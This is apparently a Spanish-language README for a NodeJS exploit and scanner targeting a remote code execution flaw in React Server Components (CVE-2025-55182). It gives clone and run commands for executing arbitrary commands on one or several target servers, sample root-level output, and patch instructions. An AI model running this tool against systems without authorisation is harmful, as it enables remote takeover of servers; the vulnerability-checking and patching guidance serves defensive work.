
Script de explotación y escáner basado en NodeJS para la vulnerabilidad "React2Shell" de los React Server Components (CVE-2025-55182).
SOLO CON FINES EDUCATIVOS Y DE INVESTIGACIÓN EN SEGURIDAD.
Esta herramienta está diseñada para ayudar a los profesionales de seguridad y administradores a verificar la vulnerabilidad de sus propios sistemas. El autor no es responsable de ningún uso indebido, daño o acto ilegal realizado con este código.
CVE-2025-55182 es una vulnerabilidad de ejecución remota de código en react-server-dom-webpack, un paquete central utilizado por Next.js (App Router) y React 19.
La vulnerabilidad permite que un atacante no autenticado inyecte cargas útiles maliciosas en las Server Actions de React. Al manipular el proceso de deserialización, el atacante puede acceder al constructor Function de JavaScript y ejecutar comandos arbitrarios en el servidor.
Leer en detalle: https://react.dev/blog/2025/12/11/denial-of-service-and-source-code-exposure-in-react-server-components
Versiones afectadas:
react-server-dom-webpack: 19.0.0 - 19.2.0next: 13.4.x, 14.x (anterior a 14.2.35), 15.x (anterior a 15.5.9)Este script actualizado utiliza técnicas de explotación avanzadas para ser más fiable:
Next-Action válido. Funciona en cualquier instancia vulnerable de Next.js sin reconocimiento manual.Location. Esto evita los errores 500 y proporciona una salida limpia.Clonar el repositorio:
git clone https://github.com/sangleshubham/React-Security-CVE-2025-55182-Exploit.git
Navegar al directorio:
cd React-Security-CVE-2025-55182-Exploit
Comprobar la versión de Node.js: Asegúrese de tener Node.js instalado (se recomienda v18 o superior).
node -v
(Nota: Este script utiliza librerías estándar de Node.js, por lo que no se requiere npm install.)
El script react2shell.js detecta automáticamente si está escaneando uno o varios objetivos.
El comando predeterminado ejecutado es id.
# Objetivo único
node react2shell.js http://localhost:3000 ls
# Múltiples objetivos
node react2shell.js http://localhost:3000 [http://staging.example.com] ls
Para ejecutar un comando específico, provéalo como último argumento.
# Sintaxis: node script.js <URL> <COMANDO>
node react2shell.js http://localhost:3000 <comando>
⚠️ VULNERABLE: La herramienta ejecutó el comando con éxito y contrabandeó la salida a través de la cabecera de redirección.
[*] Iniciando escaneo universal...
[*] Comando de la carga útil: "id"
⚠️ VULNERABLE (http://localhost:3000)
Salida: uid=0(root) gid=0(root) groups=0(root)
🛡️ SEGURO: El servidor rechazó la carga útil o está parcheado.
🛡️ SEGURO (http://google.com) | Estado: 405
❌ ERROR DE CONEXIÓN: El script no pudo alcanzar el servidor.
❌ ERROR DE CONEXIÓN (http://bad-url.com) | fetch falló
Si su aplicación es vulnerable, actualice sus dependencias inmediatamente.
Para Next.js:
# Next.js 14
npm install [email protected] react@latest react-dom@latest
# Next.js 15
npm install [email protected] react@latest react-dom@latest
Para otros frameworks (Waku, Remix, etc.):
Asegúrese de que react-server-dom-webpack esté actualizado a v19.2.1 o superior.
Distribuido bajo la Licencia MIT. Consulte LICENSE para más información.